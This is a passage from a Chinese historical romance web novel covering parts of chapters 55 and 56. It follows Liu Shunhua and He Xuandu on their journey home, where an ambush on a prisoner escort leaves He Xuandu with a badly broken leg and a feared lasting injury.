话音方落,只见无数花瓣从天而降,纷纷扬扬,笼罩在天地之间,氛氲似起了一层红雾。 落花纷纷,萦绕着树下的小夫妻,沾满他们一身,又悠悠落在水面上,随着水流缓缓飘荡。 贺玄度懵了。 眼睁睁地看着好好的花瓣雨,就这样为别人做了嫁衣。 他恨恨地盯着树上的两个黑影,他精心准备的幽会,全毁了! 拿着花篮的侍卫先觉察到不对,怎么隐隐约约瞧见又来了两人。 他低头一瞧,树下立着的女子正半仰着头,笑着伸手去接落下的花瓣,身旁的男子含情脉脉地望着她,伸手将落在她发间的花瓣拂去。 这……根本不是自家表公子与柳小姐。 他忙拍着周松,低声道:“错了错了。” 周松正扇得起劲,猛地被他一拉,急道:“慌什么呢,还有一点,你等我全扇完。” 侍卫急道:“不是,不是表公子。” 听他这么一说,周松忙将扇子放下,打眼一望,傻眼了。 又朝远处一看,隔着重重密枝,他都感觉到了一股杀气。 两人哪里管得了这么多,吓得浑身一激灵,从树上跳了下来。 下面的小情侣正浓情蜜意,猛然见树上窜出来两个人来,被吓了一跳。小妇人胆小,尖叫一声躲在男子怀里。 柳舜华一愣,这声音,听起来怎么有些耳熟。 贺玄度整个人都要炸了,大步跨了过去,劈头盖脸道:“周松,你脑子呢?我就问,相处这么久,你家表公子你都能看错,一个路人你……” 指着的手顿在半空,贺玄度怔愣了许久。 他是气得眼花了吗? 他竟然看到了刘九生,本该在回长安路上的刘九生。 柳舜华见树上跳下来两人,又看贺玄度气势汹汹冲了出去,瞬间明白了过来。 怪不得他一直将她往这里引,原来是想给她准备惊喜。 怕贺玄度计划落空一时气不顺,又要闹起来,她跟了上来,拦住贺玄度。 “你先别生气,这次不成,还有下次,等回到长安……” 话还未说完,眼一瞥,正对上方从男子怀中钻出来的小姑娘。 众人面面相觑,都愣在原地。 许久,柳舜华先反应过来,一把将柳棠华拉过去。 高柳下,柳舜华脸色暗沉,“柳棠华,你之前是不是答应过我,不再与他来往?” 柳棠华垂着头,圆圆的眼睛透着不安,“我是答应了,也这么做了。今日碰到,只是个意外。” 柳舜华冷声道:“好,你说说,到底是怎么个意外?” 柳棠华抬眸,小声道:“你同外祖去都尉府,表姐他们去了铺子,我一个人有些无聊,就想着跑去猎野鸡,给大伙补补身子。” 柳舜华:“你这是去猎野鸡?” 柳棠华嘟囔道:“我确实是去猎野鸡了,是后来才碰到的九生,我没有主动去找他。” 河岸边,贺玄度努力克制着怒火,“刘九生,你不是已经回长安了?” 刘九生还算镇定,“我是准备回的,可是经过一片密林,遇到了棠华,她邀我一起猎野鸡。” 贺玄度气道:“她邀你你就去,回长安还比不上你猎野鸡重要?还有,猎个野鸡你能猎到这?” 刘九生:“我一时没控制好时辰,就晚了。她又说要看花灯,我便想着,反正也耽误了,也不差这一日,就过来了。” 贺玄度简直要气笑了,“刘九生,你的脑子呢?你知不知道,有多少双眼睛盯着你,晚一日回长安,便多一分危险。” 刘九生垂下头,“玄度,我这一生背负重担,又如履薄冰,没有一日自在快活过。唯独这几日,是我这辈子最轻松的时候。我终于能感觉到,我也是一个人,一个有血有肉,不用带着面具过活,躲躲藏藏,可以彻底放下防备的人。” 在贺玄度的记忆里,刘九生一直都是个沉稳持重,顾全大局,冷静到可怕的存在,从未见他如此推心置腹,如此直白地表露心迹。 他何尝不知刘九生短短十几年活得有多憋屈,没人比他更知道,他那根弦绷得有多紧。他规规矩矩活了十几年,他实在不忍打破他这片刻的欢愉。 贺玄度心中的怨气消减了些,看了看刘九生,“这花里胡哨的,穿的什么啊?” 刘九生低头看着自己的衣袍,“这是棠华带我买的,我那身衣服,着实旧了些。” 贺玄度冷哼一声,“往日里我给你买,你总说是身外之物,不必太在意,怎么她买你就答应得如此爽快?还有,你自己看看,花花绿绿的,你觉得这好看吗?” 刘九生叹了一口气,“玄度,你是不是对她有误会,不然为何对她总是如此偏见?” 贺玄度看了他一眼,认真道:“我对她没有偏见,只是九生,她太单纯,咱们要走的这条路,她不适合。” 刘九生抬头,“那柳大小姐呢,她就适合你?你又知不知道,同她在一起,你要付出什么,可你不还是选择同她在一起。” 贺玄度闻言,眼眸微动,久久沉默。 他自然知道,同柳舜华在一起,必然会面对许多难以预料的阻碍。 可他无法想象,失去柳舜华,他的人生将会是怎样暗淡无光。 他也说不清,是什么时候开始喜欢上她,非她不可的。 大约是从她为一只兔子哭红了眼;她同他一起斗鸡,告诉他为自己而活;还是那个随时都可能粉身碎骨的夜晚,她拖着柔柔弱弱的身躯,坚定地同他站在一起…… 他想,若是柳舜华嫁给别人,他会疯的。 这一刻,他突然有些理解刘九生。 他眼眸一动,静静地望向一旁的柳舜华。 柳舜华此刻正恼着,伸手指在柳棠华脑门上,“路上遇见你就当看不到不就好,为何还同他一起看花灯?” 柳棠华顺势拉着她的胳膊,小心翼翼道:“姐姐,九生他人挺好的,你能不能,能不能不要这么讨厌他。” 柳舜华握住她的手,“芊芊,他好他坏,都与我无关。我在乎的是,他不适合你。” 柳棠华樱唇翘起,“姐姐怎么知晓他不适合我?” 柳舜华道:“你心地纯良,他胸有城府,绝非池中物,跟着他注定荆棘载途,我不想你过这种生活,只想你安安乐乐的。” 柳棠华想了想,“那姐姐呢?我听闻你要同相府大公子议亲。谁人不知,相府大公子芝兰玉树,温文有礼,是女子夫君的不二之选。可姐姐不是照样选了贺玄度,你又何尝不是逆水行舟?” 柳舜华怔愣片刻,摇头道:“不,不一样。” 柳棠华:“有何不一样?” 柳舜华一时思绪纷乱,上辈子的一幕幕又在脑海不断浮现。 相府一眼望不到头的高墙,那场烧死了她和贺玄度的大火,未央宫内冰冷的尸身…… 她心潮翻涌,也不再同她理论,牵起她的手,“走,你现在就跟我回家。” 柳舜华头脑昏昏沉沉,拉着柳棠华走过去,对着贺玄度道:“今日有些晚了,咱们还是早些回去吧。” 贺玄度撇下刘九生,上前道:“蓁蓁,我还有句话,想单独和你说。” 柳舜华立于岸边,风吹起她的衣裙,不安分地摇曳。 贺玄度挠着头,“今日,我是不是又做了蠢事?” 她轻轻摇头。 贺玄度笑了笑,缓缓从怀中掏出一支簪子,“这支簪子,是我母亲的遗物,是我此生最看重的之物。蓁蓁,现在我想把它送给你。” 他看着她,像是看着这世间最珍贵的存在,“蓁蓁,我这一生所求,只有一个你而已。” 水波漾漾,月影轻晃,落花随波沉沦。 柳舜华的心狠狠痛了一下,就在方才,那一瞬间,她竟又退 缩。 站在她面前的是贺玄度,她心中的月亮,她怎么能退缩呢。 夜色温柔,柳舜华的心也跟着柔软起来,“贺玄度,这根簪子我很喜欢。 她对上他乌黑的眸子,“你,我也很喜欢。” 第55章 第55章姐夫 来时桐花路,去时已是长夏。 柳舜华终于收拾行囊,踏上回长安的路。 临行前,外祖特意找人代写了一封信,让柳舜华转交给她的父亲。 柳舜华虽未看,却知晓外祖的意思,他必定是认可了贺玄度,想替贺玄度多美言几句。 舅舅、舅妈与陈家兄妹含泪相送,不住叮嘱她若有机会,再回凉州一趟。 车帘放下,柳舜华不敢再回头去望。 凉州,不知下次回来,会是何年月。 马车晃悠着出了城门,柳棠华掀开车帘,“姐姐,你看。” 柳舜华透过车帘望去,远处一行人押运着一辆车浩浩前行,正是贺玄晖回程的队伍。 她只瞥了一眼,视线便被城门处那抹洒脱的身影吸引,再挪不开目光。 城门口,有人已等候多时。 少年高坐马上,墨发飘扬,一张脸笑得肆意,耀眼而夺目。 “贺玄度。”柳舜华开口,声音柔和得似二月的春风。 贺玄度策马过去,“我让人备了些樱桃,待会给你送过来。” 柳舜华点头,看着他的马,“好好的马车不坐,干嘛非要骑马?” 贺玄度笑,“骑马能跟在你旁边。” 柳舜华看看天色,“等到正午,天便要热了,你还是老老实实待在马车里吧,别逞能。” 贺玄度策马道:“那便再说吧。” 看贺玄度走远,柳棠华才道:“姐姐,前面不是贺大公子嘛,怎么这么巧,他也是今日回长安。” 柳舜华知晓,贺玄度同她提过。 他虽嘴上不说,到底是介意贺玄晖与她议亲之事。 他是怕贺玄晖会早于他一步到长安,又怕中途出什么变故,干脆便与他同路。 至于贺玄晖,为何要主动询问贺玄度,柳舜华实在摸不准。 马车才行一会,贺玄度果然提了食盒过来。 “出了城门,下一站金城津,还要好些个时辰呢,这些你拿着,饿了垫垫肚子。” 柳棠华一把接过,“还是贺二公子细心,多谢了。” 贺玄度朝柳舜华一看,相视一笑。 有妹妹在侧,柳舜华也不好与他多话,只道:“你快些回去吧。” 贺玄度却不肯安分,不时寻了借口,一会送扇子,一会送蜜水,乐此不疲。 六月长夏,未等到正午,已是烈日炎炎,贺玄度终于顶不住,钻进了马车。 走在前头的侍从们个个热得精疲力竭,行得明显慢了些。 马车闷热,柳舜华有气无力地与棠华说着家常,不消片刻,声音越来越低,头一歪,靠着车壁睡了过去。 昏昏沉沉,不知过了多久,再一睁眼,太阳已要落山。 半个金玉盘横在山间,余晖点燃了山峦,橘黄、绛紫、红霞,整个山林熠熠生辉。成群的倦鸟,扑棱棱地扇着翅膀结伴还巢。 柳舜华只觉得此处有些眼熟,片刻后才反应过来,这里正是来时被程三他们打劫之处。 正迷迷糊糊地望着窗外,一道高大的阴影挡住了她的视线。 霞光倾泻而下,贺玄度策马立于车前,逆光的身影显得愈发挺拔。 山风突起,吹动他高束的墨发,几缕碎发在风中飘扬。 柳舜华脑海中突然涌入几幕熟悉的画面:山顶之上,手握弓箭的银面将军;夜幕之下,那个守在营帐外的背影。 她后知后觉,原来,贺玄度一直都在她身边。 贺玄度并不知她心中所想,只温声道:“前面便是金城津,约摸要半个多时辰到。” 柳舜华看着他,微笑道:“真好。” 贺玄度以为她坐车有些累,便道:“等到了客栈,好好歇一歇。” 柳舜华摇头,“不,我说,有你在,真好。” 贺玄度嘴角一咧,仰头道:“以后,只会更好。” 一行人总算在日落时分赶至渡口,贺玄晖早遣了人去将附近两间客栈给包了下来。 贺玄度问过柳舜华,将她安排在来时住的客栈。 下了马车,贺玄度早迎在门口。同他一起的,还有贺玄晖。 贺玄度抢先走上前,“柳小姐一路辛劳,请。” 柳舜华微微一笑,拉着柳棠华,越过一旁正要打招呼的贺玄晖,径直入了客栈。 柳家两姐妹相貌出众,尤其妹妹,一张小嘴格外伶俐,极招人喜欢。客栈掌柜对她们印象很深,一见她们进来便笑道:“两位小姐这是探完亲回家了?” 柳棠华上前,像见了亲人一样,“掌柜的,当日多谢你提醒啊。你是不知,那对夫妇就是对贼匪,我们险些丢了性命。” 掌柜的吓了一大跳,“得亏两位小姐福大命大,都能从贼匪手里逃脱。” 正说着,贺玄度与贺玄晖跟着进了门。 掌柜忙转头道:“方才还未问两位官爷,本店只有三间上房,不知要如何安排?” 贺玄度用手一指,“不都在这了?” 掌柜的点头:“得咧,这就安排。那晚膳,几位是要一起用吗?” 柳舜华忙摇头,“不用,我有些倦了,直接送到我们房里便可。” 店内的小厮忙引着四人上楼,贺玄度抢着走在前面。 待上了楼,他忙走到柳舜华跟前,“柳小姐,最里面那间安静,姑娘家住比较方便。” 又特意看了眼贺玄晖,“兄长,你觉得可有不妥?” 贺玄晖笑道:“自是极好的,柳小姐累了一日,是要好好歇歇。” 贺玄度听了他的话,转身推开中间的房门,“我一向胆小,出门只能住中间,兄长你觉得呢?” 他人都已经进了屋,贺玄晖总不至于把他拉出来。 果然,贺玄晖只是淡声道:“二弟随意。” 进了屋,柳舜华才彻底放松下来,推开窗看向窗外。 风中裹挟着河水的潮气与凉意迎面吹来,一日的烦闷顿时得到纾解。 此时天色已经暗淡下来,浩浩荡荡的河水在夜色中肆意奔腾,河岸几点灯光影影绰绰,月光洒在河面,无数银鳞随波起伏。 柳棠华叹道:“还是跟着贺二公子好啊,住上房,这么热的天还能吹着风,真是惬意。” 柳舜华伸手去捏她的脸,“怎么,你是嫌弃跟着我不好了?” 柳棠华忙躲开,两人嬉闹一阵,晚膳也跟着送了过来。 柳舜华不太有胃口,只吃了小半碗粥糜。 白日里出了太多汗,用过晚膳后,汗全腻在后背,两人忙叫来掌柜的送上热水沐浴。 柳舜华才洗了头发,披好衣服,便听到敲门声。 她以为是掌柜的,忙推开门,“不需要水……” 门外站着的贺玄度显然没料到这一幕,敲门的手一时僵在半空。 柳舜华方沐浴过,浑身犹带着清新的水汽,两颊微红,宛似一朵带着朝露的娇花。湿漉漉的青丝如墨般披散在身后,一滴水珠顺着白皙的脖颈缓缓滑落,隐没在衣领。 她本穿得极规整,可夏日衣料本就轻薄,又带着水汽,纤细的腰肢朦胧可见。烛光摇曳,映在她的脸上,肌肤在雾气润泽下,晶莹似一块美玉,泛着温润的光泽。 视线交汇,两人愣了片刻,空气仿佛凝固了一般,一种说不清道不明的暧昧悄然蔓延。 许久,贺玄度总算反应过来,忙收回视线,目光落在门框上,“我是来给你送安神香的……能驱蚊,安神。” 柳舜华呼吸微乱,伸手去接,“好。” 手指触到贺玄度微微发烫的掌心,贺玄度倏忽收回了手,“你……好好休息,我先走了。” 柳棠华擦着头发,看着呆愣在门外的柳舜华,朝她喊道:“姐姐,你怎么还不关门?” 柳舜华恍觉,贺玄度已离开多时。 她拿着安神香进来,柳棠华一下猜到了,“贺二公子送的?” 柳舜华点头,顺手放在烛火上点燃,火苗轻轻舔舐着香头,燃起幽暗的火星,青烟袅袅盘旋,很快弥散开来。 淡淡的薄荷草木香,夹杂着陈皮的果香,混合着丁香花的甜,丝丝缕缕,浮浮沉沉。 柳棠华深嗅一口,“清凉又淡雅,贺二公子衣饰上品味堪忧,选香倒不俗。” 柳舜华不觉一笑,“你这算是夸 他还是损他?” 柳棠华歪头促狭一笑,“姐姐一说起他,嘴都合不拢。我可不敢损他,万一他真的成了我姐夫,那我岂不成拆人姻缘的棒槌了。” “你这都是跟谁学的,讨打。”柳舜华被说中心事,伸手便要拍她。 柳棠华一骨碌爬上床,作势朝墙那边高呼:“姐夫,姐夫救我,姐姐要打我了。” 柳舜华大囧,忙上前捂住她的嘴,用手将她锢在身下。 柳棠华求饶,“姐姐,我错了,再也不敢了。” 柳舜华这才放过她,“若是再敢乱叫,小心你的嘴。” 柳棠华得意一笑,“姐姐放心,我的嘴甜着呢。” 不觉夜已深,两人灭了灯,柳棠华打着哈欠,昏昏睡去。 夜风从窗子缝隙中吹来,河水澎湃着相互撞击,发出阵阵轰鸣。 柳舜华蓦地想起初到此处那晚,她也是这样听着水声涛涛,彻夜难眠。 那时她方重生一世,被禁锢在牢笼里太久,一心想孤身奔赴山海。 然而,等她真的踏了出去,却又止不住为逃离长安而忐忑,为未知的前路而恐惧。 可如今,在凉州经历的那些风风雨雨,不觉已为她披上了一层盔甲,让她不再彷徨,不再害怕。 她想,即便今夜没有贺玄度在,她也是不怕的。 可有了贺玄度,的确能让她更安心。 窗外,江河依旧在奔腾不息,她在安神香的香气缭绕中,一颗心渐渐平静下来。旧日的喧嚣纷扰,在这一刻被隔绝在外。 棠华清浅的呼吸响在耳边,柳舜华借着月光,摸了摸她的脸。 真好,她想要的人,都在身边。 柳舜华翻了个身,正欲闭眼,手突然触到了墙面。 她突然就想起棠华方才那声“姐夫。” 也不知道,贺玄度有没有听到。 她将手贴在墙面上,也不知道一墙之隔的贺玄度,此刻是否安然入睡。 鬼使神差地,她举起手。 “咚咚咚”在墙上敲了三下。 柳舜华屏住呼吸,静静地听着,也不知道在等什么。 仿佛过了一万年之久…… “咚咚咚”三声应和,响在缱绻的暗夜里。 第56章 第56章断腿 第二日,天气突然阴沉起来。 苍穹之下,阴云如墨,层层叠叠翻滚着汹涌的波涛,将骄阳严严实实地遮蔽起来。薄雾萦绕在山腰,整个山间好似笼上了一层灰色的纱。 为免与贺玄晖打照面,柳舜华在房间内用过早膳,才出了门。 谁知一出门,便碰到了贺玄晖。 四目相对,柳舜华移开视线,贺玄晖还是走了过来,柔声问:“柳小姐,昨夜睡得可好?” “柳小姐昨夜睡得好极了,隔着一堵墙我都听到了……打呼声。” 贺玄度笑着走了过来,横在两人之间。 他身量高,往那一站,便把柳舜华挡得结结实实。 柳舜华气不过,在他腰间狠狠掐了一把。 贺玄度身子猛地一抖,“啊”的一声叫了出来。 贺玄晖皱眉,“二弟,可是有什么不适?” 贺玄度忍着痛,笑道:“没有,方才似乎有只小虫子咬了我一口。” 贺玄晖道:“若无事,那便早些启程吧。” 临上马车时,柳舜华无意瞥了眼一旁的囚车。 郑列发如飞蓬,双目涣散,一身满是污渍的囚衣,被汗水与尘土浸湿,紧紧贴在他那已然佝偻的身躯。 车栏破旧窄小,仅能勉强困住他的身躯,狼狈不堪。 柳舜华想到表姐在刺史府的遭遇,冷眼扫过去,转身钻进了马车。 贺玄度看天色尚可,又弃了马车,骑马前行。 车行了约半个时辰,尤不见贺玄度在旁晃悠。 柳舜华以为他不会再过来,方闭目养神,准备小憩。 “咚咚咚”三声响在车窗外。 柳舜华一抬头,便见贺玄度策马行在窗外。 她想起昨晚,微微一笑,“贺公子有何指教?” 贺玄度低声道:“今夜要宿在水芸镇,你若不累,我带你四处逛逛。” 柳棠华耳朵灵,忙探出头,“有什么好玩的,来时我们都未曾留意。” 贺玄度看着柳舜华,温声道:“那里有一大片荷花池,若是日落时分去,漫天的晚霞映着一池的荷花,乘着小船慢慢划向深处,吹着晚风,闻着荷香,如梦似幻,再惬意不过。” 林间绿意盎然,少年一身薄衫,嘴角微微一扬,便照亮了这郁郁山林。 柳舜华沉浸在贺玄度的描述里,无端想起那个坐在荷花池旁的清寂身影,一抬头,便瞧见他那肆意张扬的明亮模样。 不知为何,她有些恍惚,心绪突然躁动起来,强压下内心的不安,点了点头。 今日不似昨日那般闷热,柳棠华又被贺玄度的提议勾起了兴致,拉着柳棠华喋喋不休,柳舜华被她一闹,也没了睡意。 不知走了多久,马车有些颠簸起来。 柳舜华掀开车帘一望,队伍已由大道转入一处山路。 她来时走过这段路,记得清楚,此段路不过十余里,穿过此处,前方便是驿站。 天色愈加阴沉,夏木浓荫又遮蔽大半条路,日光被遮挡得严严实实,整个山林愈发昏暗,压抑之感扑面而来。 山林静得可怕,一路并未闻鸟鸣,只偶尔传来几阵风声,鬼哭狼嚎吹过耳畔,让人脊背发凉。 贺玄度眉头紧皱,调转马头到柳舜华车前,顾不上其他,取下腰间的布袋递给柳舜华。 柳舜华看他神情严肃,问道:“出什么事了?” 贺玄度焦急解释道:“前方瞧着不对,或有歹人来袭,你待在车里,不要出来。若有变故,车夫会调转回金城津方向,自会有人接应。还有,这布袋里是石灰粉,你留着以备不时之需。” 柳舜华心慌意乱,“那你呢?” 贺玄度道:“放心,我不会有事。” 说罢,忙策马朝贺玄晖追去。 柳棠华被吓得不轻,“姐姐,不会又是打劫的贼匪吧?” 柳舜华想了想,摇摇头,“如今是太平盛世,这一路都是官道,多有驿站,往来商贾频繁,并未听说常有贼匪出没。万都尉又在凉州一带威名赫赫,治理有方。上次咱们碰到那些,不过是些假贼匪罢了。何况此处前方是驿站,后面是金城津,前后皆有关卡,贼人根本不可能大批聚集。” 柳棠华:“那会是什么人?” 柳舜华默默将目光转向前方囚车,难道是为了郑刺史。 贺玄度赶上来的时候,侍卫首领正低声同贺玄晖说着什么。 见贺玄度过来,贺玄晖急道:“二弟,你来得正好,此处怕是有诈,劳烦先去安顿一下柳小姐。” 贺玄度见那侍卫首领已经识破,只假装不知,“大哥是说有人要打劫?” 贺玄晖摇头,“应是冲着郑列来的。” 贺玄度:“是救郑列的?” 贺玄晖朝着囚车一望,目光沉下去,“不,是来杀他的。” 贺玄度自然知晓,郑列背后是千机阁,彭城王。 他们都清楚,郑列为了儿子,熬过酷刑,是断然不会招认的,可千机阁却未必会信。如今他已是一个废掉的棋子,他们不会允许一颗废棋误了全局。 贺玄晖防备了一路,眼瞅着就要到驿站,没想到千机阁的人却选在此刻动手。 果然,侍卫首领才勒令停止前进,山林中便一阵喊杀声,一队人马冲了出来。 侍卫们很快分成两拨,一半将囚车围住,一半抽出佩刀朝来人杀去。 很快,两拨人便杀得难解难分,对方人数不多,比随同的侍卫要少上十几人,但个个战力非凡,出手狠辣,侍卫们很快不敌,缓缓往后退去。 杀出重围的贼人丝毫不恋战,将矛头对准囚车。 守着囚车的侍卫们自是奋力抵抗,与方才退下的那拨人合起,将囚车围得密不透风,那伙贼人根本无法靠近。 柳舜华这边早留下三 五个侍卫严阵以待,但很明显,贼人们人手不够,根本没将她们当回事,一时倒也安全。 她透过帘子,远远瞧着拼杀的两拨人,心惊肉跳。 当日在都尉府,因是晚间,看得不甚清楚,如今青天白日,拼杀声混合着刀光剑影,血流一地,格外触目惊心。 侍卫们防守严密,贼人们无法上前,似乎是看突围无望,又怕继续纠缠下去有援兵到来脱困无望,不得不纷纷开始撤离。 柳舜华不由松了一口气,然而还未等她放松下来,只见林间轰隆,大堆巨石滚滚而落,所经之处,树木被拦腰撞断,轰然倒地。 侍卫首领朝着众人大喝一声:“快躲开!” 反应过来的侍卫们四处避让,乱作一团。囚车一时无人看管,被一块巨石砸中,在空中翻滚一圈,伴着车内郑列刺耳的呼叫,朝着山崖摔去,所幸被一棵粗壮的树木拦着,才勉强停住。 囚车本就破旧,又被巨石撞击,几根横木已被砸断,挂在树上摇摇欲坠。 贺玄晖离得近,忙上前去拉囚车。他一贯养尊处优,囚车又如此笨重,力气终是不够,根本无济于事。 好在落石换成滚木,一旁的贺玄度见状,灵巧地躲过滚木,上前用力将剩余囚车横木击断,与贺玄晖齐心协力,将郑列从里面拖了出来。 两人累得上气不接下气,还没来得及喘口气,只见郑列一骨碌从地上爬起,转身拉过贺玄度的马,翻身骑了上去。 贺玄晖见他要跑,眼疾手快,一把夺过缰绳,拼命拉在掌心。 郑列疯魔了一般,用脚死命踹向贺玄晖,嘴里不停叫嚷,“让开,我要去找我儿子,我要去找我儿子。” 放走郑列,是贺玄度计划中的一环。 万都尉已提前让人勘察好路线,千机阁此前受创,能留在凉州境内之人不会多。此去长安,一路坦途,若想要击杀郑列,只有此处是伏击最佳位置。他们料定千机阁之人不会硬攻,定会躲在暗处以便功成身退。 击杀郑列如此任务,布防之人在千机阁地位应不会低,只要抓住了他,顺藤摸瓜,或能找出彭城王与千机阁勾结的证据。 千机阁之人若一直躲在林中,实在难以下手,只有趁乱将郑列放走,并暗中护送他出去,才能吸引他们出动。 贺玄度忙上前,去拉贺玄晖,“大哥,危险,快松手。” 然而贺玄晖却死命地攥着缰绳,丝毫没有松手的迹象。 贺玄度急了,贺玄晖此举实在过于危险,郑列的马根本无法前行,如此下去,迟早会成为千机阁的活靶子。 正欲强行将他们拉开,抬眼便见有巨石正朝着他们滚滚而来,出于本能,贺玄度根本来不及多想,一掌将他们推了出去。 巨石滚滚而下,贺玄度一声惨叫响彻山谷。 马车内,柳舜华脑袋一片空白,一瞬间,世界仿佛凝固。 她浑身像被定住一般,身体似乎抽去了所有力气,动弹不得。 哒哒的马蹄声从后方传来,都尉府的旗帜在风中猎猎作响。贼人见有援军,慌忙退回山林,隐没了踪迹。 柳舜华如梦初醒,慌慌张张下了马车,可双腿依旧软得像一团棉花,好半天才踉跄着朝贺玄度奔去。 贺玄度脸色煞白,豆大的汗珠顺着额头滚落,牙关紧咬,从牙缝中挤出痛苦的闷哼。断裂的腿骨刺破血肉,鲜血汩汩涌出,衣衫一片触目的殷红。 柳舜华下身,颤抖着问:“贺玄度,你怎么样?” 她应当是吓坏了,面无血色,眼中满是惊惧,双手不停颤抖。 贺玄度粗重的呼吸渐渐平顺,他想去摸摸她的脸,低头看到自己满是血污的双手,无力垂下,开口道:“蓁蓁,没事,别怕。” 柳舜华忍了许久的眼泪突然决堤,簌簌滚落。 她强忍着悲痛,一把擦干眼泪,对愣在一边的侍卫们道:“快,找几块木板来,要快。” 侍卫们慌了神,纷纷去寻哪里有木板可用。 柳舜华伸手扯掉自己衣裙下摆,将贺玄度伤处压住,不停地安慰着,“贺玄度,不要动,没事的,没事的。” 贺玄度的血很快将衣裙碎布浸透,柳舜华又撕烂一块,继续止血。 侍卫们很快发现囚车掉落的木板,寻来递给柳舜华。 柳舜华接过木板,用碎布将其缠绕固定在贺玄度断腿两侧。 贺玄晖好半晌才缓过神,忙蹲下询问:“二弟,你怎么样?” 柳舜华死死瞪着他,冷哼一声,“走开。” 贺玄晖一愣,还没反应过来,已被一双大手给推开。 匆匆赶来的周松看着受伤的贺玄度,几乎快要哭出来,哽咽道:“你怎么样?” 贺玄度勉强挤出一个微笑,“死……死不了。” 柳舜华不敢再耽误,对着周松道:“快,将他抬到马车上,眼下他不宜颠簸赶路,先回客栈。还有,让人即刻回凉州城去请范神医,要快,要快。” 周松急忙吼道,“快啊,听到没有,快。” 都尉府一行人忙将贺玄度抬进马车,柳舜华不放心,也跟着共乘。 待都尉府人已走远,贺玄晖犹愣在原地。 侍卫首领灰头土脸站在一边,“大公子,现在怎么办?” 贺玄晖缓缓转过身,无力道:“留一部分人清理山路,其余人押上郑列,随我一同回客栈落脚。” 回到客栈,贺玄度被小心翼翼地抬到床上。 柳舜华打来水帮他擦脸,静静等着范神医的到来。 贺玄度失血过多,整个人恹恹地躺着,半睡半醒。 周松在旁悔道:“都怪我出现得太慢,还抓什么幕后黑手,都怪我。” 周松出现得太及时,柳舜华本就觉得有些奇怪,如今他这一说,瞬间明白了大概。 柳舜华宽慰道:“这怎能怪你呢,事发突然,贺玄度他……是为了救人。” 正说着,有人敲门走了进来。 贺玄晖走到床边,看着贺玄度,面露愧疚,“二弟他如何了?” 柳舜华头扭到一边,没有理他。 周松见气氛尴尬,道:“表公子有些累,睡了。大公子,郑列没事吧?” 贺玄晖眉头紧皱,“他人没事,……只是受了惊吓,似乎有些疯疯癫癫的。” 周松哼道:“他还真是命大。” 贺玄晖好像想起了什么,问道:“你们为何突然出现?” 周松一愣,还未回答,柳舜华便一声冷笑,“若非万都尉察觉到异常,派人来接应,不知贺大公子是否还能安安心心在此审问?” 贺玄晖神色尴尬,解释道:“柳小姐,我实在没有别的意思,只是……” 柳舜华根本不想同他多言,打断他,“贺大公子,若没有旁的要紧事,烦请回避,病人需要休息。” 贺玄晖看了看床上的贺玄度,转身离开。 一直等到日落,仍不见范神医的踪影,柳舜华急得几乎要燃起来。 一颗心正忐忑着,便听柳棠华在楼下高呼,“姐姐,范神医来了。” 周松方推开门,万都尉便火急火燎地冲进来。 范神医紧随其后,将药箱放下便去查看伤势。 贺玄度被惊醒,看到风尘仆仆的万都尉,眼眶一红,终于像个小孩子一样哭了出来,“舅舅。” 万都尉心上像被人捅了几刀,“宁儿,不怕,有舅舅在。” 范神医将木板拆开,问道:“这是谁包扎的?” 柳舜华慌忙道:“是我,可有什么问题?” 范神医点头,“不愧是跟过老夫的人,到底有些慧根,包扎得很好。” 重活一世后,柳舜华担忧贺玄度的腿会像上辈子一样,特意提前翻看了各类医书,以备不时之需。 万都尉忙问,“范神医,他伤得严重吗?” 范神医看着贺玄度叹了声,“待我先行查看一番,屋内热,你们也都别干站着了,出去透透气,也让他透透气。” 几人来到房门外,万都尉问:“到底怎么回事,以宁儿的身手,怎么可能受伤?” 柳舜华如实相告。 万都尉一拳捶在墙上,悔道:“我真是不配当这个舅舅,早知道,我就不该答应他。” 三人等在门外,忐忑不安。 不知过了多久,门缓缓被推开,范神医走了出来,“我怕他上药疼,用了些曼陀罗,已经睡了。” 万都尉忙道:“怎么样?” 范神医擦了擦额头的汗,“命是保住了,可是这腿……难说。” 柳舜华身子一软,几乎要瘫倒在地 ,忙扶住了门。 万都尉看了看躺在床上的贺玄度,“您的意思是,宁儿他,他站不起来了。” 范神医叹道:“他伤势过重,所幸处理及时,尚有几分希望。不过,眼下还不好说,总之,要做好最坏的打算。” 万都尉强忍着悲痛点头,“我们知晓,有劳范神医了。” 贺玄度一直睡着,柳舜华怕他晚间醒来喊饿,一直在旁守着。 这是柳舜华第一次这么近,这么肆无忌惮地看着贺玄度。 烛火摇曳,映着他苍白的面庞。他双眉微蹙,即便在睡梦中,似也被病痛折磨得不得安宁。 柳舜华眼眶泛红,拿起巾帕,轻轻擦拭着他额头的汗珠。 他一向肆意张扬,如今却是这副模样,像是昔日繁盛转眼秋风中落败的残荷,零落在淤泥里。 柳舜华一颗心被揪得生疼,几乎要喘不过气来。 贺玄度的腿,终究还是要不可避免地断了吗? 贺玄度睡得昏昏沉沉之际,隐隐听到有人在哭,缓缓睁开眼。 看清是柳舜华,他下意识想去帮她拭泪,奈何腿疼得厉害,闷哼一声,却是一动也不能动。 柳舜华见他醒来,忙止住泪,柔声道:“你睡了许久,饿不饿?” 贺玄度笑道:“渴得厉害,你先帮我倒杯水来。” 柳舜华转身倒了一杯水递过去,贺玄度一饮而尽。 他看着柳舜华,“你哭了?” 柳舜华挤出一丝笑意,“没有,就是坐久了,有些倦。” 贺玄度道:“累坏了吧,不如你去歇歇,换周松过来。” 柳舜华摇摇头,没有动。 夜风吹过,孤灯摇晃,两人一时沉默,屋内静得可怕。 许久,贺玄度终是缓缓开口,“我的腿,好不了了是吧?” 柳舜华强忍着要哭出的冲动,柔柔道:“范神医说,还要再看看,你先别想那么多。” 贺玄度静静地望着屋顶,轻笑一声,“你不用哄我了,我自己的腿,自己知道。” 柳舜华看着他眼中的光一点点黯淡,不忍再看,忍不住别过脸去。 “柳舜华,咱们分开吧!”贺玄度缓缓开口。 柳舜华转过头,不可置信地看向贺玄度。 她双肩止不住颤抖,整个世界在这一刻彻底崩塌,像是做了一个美梦,梦醒了,那些美好幻影便从眼前一一消散。 贺玄度突然笑出声来,“蓁蓁,你是不是以为我迟早会说这句话?” 柳舜华错愕得愣在那里,不知他哪句话真,哪句话假。 她坐得有些远,贺玄度想拉她的手,却怎么也够不到。 他道:“蓁蓁,你能坐近些吗?” 柳舜华僵硬地往前挪了挪。 贺玄度拉过她的手,“你方才整个人恍恍惚惚的,实在让人压抑。你不言不语,不就是怕我断了腿会自暴自弃……还有,放弃你。” 